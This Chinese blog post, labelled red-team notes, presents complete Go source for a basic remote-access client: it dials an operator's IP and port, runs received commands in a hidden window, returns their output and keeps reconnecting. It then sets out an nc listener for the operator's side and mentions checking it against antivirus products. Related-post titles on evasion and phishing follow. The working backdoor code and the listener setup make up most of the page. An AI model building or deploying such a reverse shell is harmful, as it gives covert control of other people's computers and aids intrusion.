红队笔记之go语言远控初探
下文为笔者学习go与远控所写简单demo。客户端go,服务端Ncat,后续有空可能会继续编写go服务端与完善一些基本功能,感兴趣的可以点关注一下。
功能介绍:
1、socket连接建立
2、命令执行
3、消息回传
4、断开连接
package mainimport ("bufio""bytes""context""fmt""github.com/axgle/mahonia""io""net""os""os/exec""strings""syscall""time"
)func ConnectServer(address string){//与服务端建立socket连接conn,err:=net.Dial("tcp",address)if err != nil {fmt.Println("连接失败")//失败重连for {ConnectServer(address)}}//关流defer conn.Close()//开始接收服务端信息for{//等待接收指令,以 \n 为结束符message, err := bufio.NewReader(conn).ReadString('\n')if err == io.EOF {// 如果服务器断开,则重新连接conn.Close()ConnectServer(address)}//删除无用字符message1 := strings.Replace(message,"\n","",-1)cmdParameter := strings.Split(message1, " ")switch cmdParameter[0] {case "back":conn.Close()ConnectServer(address)case "exit":conn.Close()os.Exit(0)default:cmdSlice := cmdParameter[1:len(cmdParameter)]//调用执行命令out, err := Command(cmdParameter[0], cmdSlice...)if err != nil {out = []byte(err.Error() + "\n")} 解决命令行输出编码问题out1 :=ConvertToUTF8String(string(out),"gbk")conn.Write([]byte(out1))}}
}
func Command(name string, arg ...string) ([]byte, error) {// 创建一个子节点的context,30秒后自动超时// 利用根Context创建一个父Context,使用父Context创建2个协程,超时时间设为30秒Timeout := 30 * time.Secondctxt, cancel := context.WithTimeout(context.Background(), Timeout)defer cancel()// 通过上下文执行,设置超时cmd := exec.CommandContext(ctxt, name, arg...)//隐藏式执行cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}var buf bytes.Buffercmd.Stdout = &bufcmd.Stderr = &bufif err := cmd.Start(); err != nil {return buf.Bytes(), err}if err := cmd.Wait(); err != nil {return buf.Bytes(), err}return buf.Bytes(), nil
}func ConvertToUTF8String(src string, srcCode string) string {srcCoder := mahonia.NewDecoder(srcCode)srcResult := srcCoder.ConvertString(src)return srcResult
}
func main() {//传入Server的ip和端口让远控绑定ConnectServer("你的IP:端口")
}
测试一下:
1、服务端使用nc监听端口222
nc -lvvp 222
2、客户端main方法中配置IP:端口,并启动程序
3、检查命令是否可以执行(杀软:某全家桶+某绒)
红队笔记之go语言远控初探相关推荐
- 红队笔记之渗透测试流程以及各环节技术纲要
相比传统渗透测试,红队则更趋于真实的入侵活动,红队这个词汇最先来源于军方的红蓝对抗活动.每一步入侵操作都有着其特有的战术和技术手段,而这些战术手段在实际过程中都绝不会是完全孤立使用的,需要多个手段相互 ...
- windows opensshd 连接就close_基于Windows白名单执行Payload上线Metasploit 渗透红队笔记...
渗透攻击红队 一个专注于红队攻击的公众号 大家好,这里是 渗透攻击红队 的第 17 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深), 不出意外每天一更 基于白名单绕过 测试环境 攻击机 ...
- c语言远控,远控鼠标!C语言简单编程:整舍友必备+附送实例源码!
远控鼠标!C语言简单编程:整舍友必备+附送实例源码!-1.jpg (10.71 KB, 下载次数: 0) 2018-10-11 05:24 上传 关注<一碳科技>有更多干货等着你哦! 远控 ...
- 红队笔记之权限维持技术要点总结
在红队⾏动中在⽹络中获得最初的⽴⾜点是⼀项耗时的任务.因此,持久性是红队成功运作的关键,这将使团队能够专注于⽬标,⽽不会失去与指挥和控制服务器的通信.通俗来讲只要⽬标没有发现我们的攻击⾏为,可以⻓久保 ...
- c语言远控源码,远控鼠标!C语言简单小程序:舍友要砸电脑了,送源码!
关注<一碳科技>有更多干货等着你哦! 远控鼠标 远控鼠标,顾名思义就是远程控制鼠标,听起来就有些复杂对不对?是的,有些人一听到这个词,就会感觉要实现远控鼠标是一件很麻烦的事情,但其实不是的 ...
- c语言远控,CC远控工具:WebSocket C2
这篇文章,我们将学习另一款 C&C 远控工具 WebSocket C2,也被称为 WSC2. 介绍 WSC2 主要是一款后渗透测试工具.WSC2 会使用 WebSocket 和一个浏览器进程. ...
- 红队笔记之邮箱伪造实战
文章目录 技术要点 理由的合理性 不管的危害性 操作的简易性 操作步骤 分析目标 准备软件 准备邮件服务 准备可以搭建smtp服务的服务器 安装smtp服务 配置smtp服务 启动smtp服务 测试s ...
- 红队笔记之杀软原理介绍与免杀技术总结
杀软的常用杀毒引擎 搞免杀之前呢肯定要对杀毒软件的查杀方法进行了解,了解后才能有效的制定绕过策略,以达到的免杀的目的,因为免杀本就是一个对抗的过程所以任何免杀都有着自己的时效性.下文将分别分析杀软的常 ...
- 红队笔记-1(主机发现,情报收集,内网信息收集)
文章目录 一. 信息收集 主机发现 NMAP 工作原理 扫描方式 nmap 输出选项 nmap高级扫描 nmap脚本爆破服务 绕IDS&IPS nmap优缺点 masscan nbtscan ...
最新文章
- 考研最惨专业排行榜,你上榜了吗?
- 修改MD5加密 提高网站安全
- linux下面升级 Python版本并修改yum属性信息
- python可迭代对象 迭代器生成器_Python可迭代对象、迭代器和生成器
- CF 1025C Plasticine zebra
- mysql的预准备语句_mysql – 将字符串插入到没有”的预准备语句中
- boost asio异步通信
- PYTHON_错误处理
- Linux中级之负载均衡(lvs,nginx,haproxy)、中间件
- 科学计算机要用的电池是几号,科学的使用笔记本电池操作指南_硬件教程
- EXCEL等额本息还款计算器
- mac调节外接显示器亮度
- 龙讯3号 龙芯电脑即将店面销售
- 阿里云智能编码插件Cosy,让你的开发过程既高效又轻松
- for循环和range函数
- VMWare安卓安卓系统虚拟机
- Permission denied: user=dr.who, access=READ_EXECUTE, inode=/user/root:root:supergroup:drwx------
- BOM(浏览器模型)
- scrapy学习笔记(三)-关于动态加载网页的爬取(序)
- 英语教师计算机研修总结报告,英语教师研修总结范文(通用5篇)